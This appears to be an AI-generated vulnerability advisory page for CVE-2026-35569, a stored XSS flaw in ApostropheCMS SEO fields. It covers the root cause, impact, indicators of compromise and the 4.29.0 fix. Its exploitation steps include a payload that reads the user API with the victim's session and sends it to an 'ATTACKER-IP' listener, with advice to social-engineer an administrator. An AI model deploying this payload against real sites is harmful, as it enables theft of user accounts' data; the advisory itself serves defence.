CVE-2026-35569
JavaScript vulnerability analysis and mitigation

Overview

CVE-2026-35569 is a stored cross-site scripting (XSS) vulnerability in ApostropheCMS, an open-source Node.js content management system, affecting versions 4.28.0 and prior. The flaw exists in SEO-related fields (SEO Title and Meta Description), where user-controlled input is rendered without proper output encoding into HTML contexts including <title> tags, <meta> attributes, and JSON-LD structured data. It was reported on April 1, 2026, acknowledged April 2, CVE assigned April 4, and patched with the release of version 4.29.0 on April 15, 2026. The vulnerability carries a CVSS v3.1 base score of 8.7 (High) (Github Advisory, Researcher PoC).

Technical details

The root cause is improper neutralization of user-controlled input (CWE-79) combined with improper encoding or escaping of output (CWE-116) when SEO field values are rendered into HTML contexts. Specifically, input stored in the SEO Title and Meta Description fields is embedded unescaped into <title> tags, <meta> attributes, and JSON-LD <script> blocks, allowing an attacker to inject a payload such as "><script>alert(1)</script> to break out of the intended HTML context. Exploitation requires the attacker to have low-privileged authenticated access to edit SEO fields, and successful payload execution requires a victim (e.g., an administrator) to visit the affected page. The fix introduced a new safe-json-script.js mechanism for safely serializing JSON nodes embedded in HTML, and requires upgrading both the apostrophe core package and the @apostrophecms/seo module (Github Advisory, Fix Commit).

Impact

Successful exploitation allows an attacker with low-privileged CMS access to execute arbitrary JavaScript in the browser of any authenticated user — including administrators — who views the affected page. This enables session riding (performing authenticated API requests using the victim's session), access to sensitive data via internal APIs such as /api/v1/@apostrophecms/user (exposing usernames, email addresses, user IDs, and roles), and exfiltration of that data to an attacker-controlled server. Availability is not impacted, but confidentiality and integrity are both rated High due to the potential for full user data exposure and unauthorized actions within the application (Github Advisory).

Exploitability

A detailed proof-of-concept (PoC) with step-by-step reproduction instructions and a video demonstration (https://youtu.be/FZuulua_pa8) is publicly available in the GitHub security advisory and the researcher's repository. The exploit requires low privileges (any authenticated CMS user who can edit SEO fields) and user interaction (an administrator must visit the affected page). There is no evidence of in-the-wild exploitation at this time, and the vulnerability is not listed in the CISA KEV catalog. The EPSS score is approximately 0.037% (0.000320), placing it in the 11th percentile for exploitation likelihood (Github Advisory, Researcher PoC).

Exploitation steps

  1. Reconnaissance: Identify an ApostropheCMS instance running version 4.28.0 or earlier. Confirm the @apostrophecms/seo module is installed and SEO fields are accessible to authenticated users.
  2. Obtain low-privileged access: Log in to ApostropheCMS as any authenticated user with permission to create or edit pages and access SEO settings.
  3. Navigate to SEO settings: Create or edit a page, then navigate to the SEO settings panel within the page editor.
  4. Inject the payload: Insert the following payload into both the SEO Title and Meta Description fields (both fields must contain the payload for execution):
    "> fetch('/api/v1/@apostrophecms/user',{ credentials:'include' })
    .then(r=>r.text())
    .then(d=>{ fetch('http://ATTACKER-IP:5656/?data='+btoa(d)) })
  5. Set Schema Type and publish: Set the Schema Type to "Web page", then save and publish the page.
  6. Start a listener: On the attacker-controlled server, run python3 -m http.server 5656 to capture incoming requests.
  7. Trigger execution: Wait for or social-engineer an administrator to visit the affected page. The stored payload executes in the admin's browser.
  8. Exfiltrate data: The script sends a GET request to the attacker's server with a Base64-encoded response from /api/v1/@apostrophecms/user, which contains usernames, email addresses, user IDs, and roles. Decode the Base64 payload to retrieve the sensitive data (Github Advisory, Researcher PoC).

Indicators of compromise

  • Network: Outbound HTTP GET requests from the CMS server or admin browsers to unexpected external IPs on port 5656 or similar non-standard ports; requests containing ?data= followed by a Base64-encoded string to attacker-controlled hosts.
  • Logs: CMS access logs showing requests to /api/v1/@apostrophecms/user originating from admin browser sessions at unusual times or in rapid succession; web server logs showing outbound fetch requests to external IPs triggered from page views.
  • File System / Content: SEO Title or Meta Description fields in the CMS database containing HTML-breaking characters such as "> followed by JavaScript fetch() calls or <script> tags.
  • Browser / Application: JavaScript errors or unexpected network activity in browser developer tools when administrators view specific pages; Content Security Policy (CSP) violation reports if CSP is configured (Github Advisory).

Mitigation and workarounds

Upgrade ApostropheCMS to version 4.29.0 or later, which introduces a safe JSON serialization mechanism (safe-json-script.js) to prevent unescaped output in HTML contexts. Note: The fix requires upgrading both the apostrophe core package and the @apostrophecms/seo module simultaneously. As interim mitigations, restrict edit access to SEO fields to trusted administrators only, and implement Content Security Policy (CSP) headers to block inline script execution. Monitor for suspicious API activity targeting /api/v1/@apostrophecms/user and unexpected outbound data exfiltration (Github Advisory, Fix Commit).

Community reactions

The vulnerability was reported by security researcher K Shanmukha Srinivasulu Royal (GitHub: Chittu13), who published a detailed write-up and video PoC. The ApostropheCMS maintainer (boutell) acknowledged and patched the issue promptly, with the fix released the same day as the CVE publication (April 15, 2026). A brief mention was noted on Mastodon via @thehackerwire. No significant broader media coverage or notable community controversy has been identified (Github Advisory, Researcher PoC).

Additional resources


SourceThis report was generated using AI

Related JavaScript vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2026-77415CRITICAL9.3
  • JavaScript logoJavaScript
  • jsonata
NoYesAug 21, 2026
CVE-2026-77414CRITICAL9.3
  • JavaScript logoJavaScript
  • jsonata
NoYesAug 21, 2026
CVE-2026-77413CRITICAL9.3
  • JavaScript logoJavaScript
  • jsonata
NoYesAug 21, 2026
CVE-2026-63421HIGH7.5
  • JavaScript logoJavaScript
  • @keystone-6/core
NoYesAug 21, 2026
CVE-2026-53509MEDIUM5.7
  • JavaScript logoJavaScript
  • @aborruso/ckan-mcp-server
NoYesAug 21, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management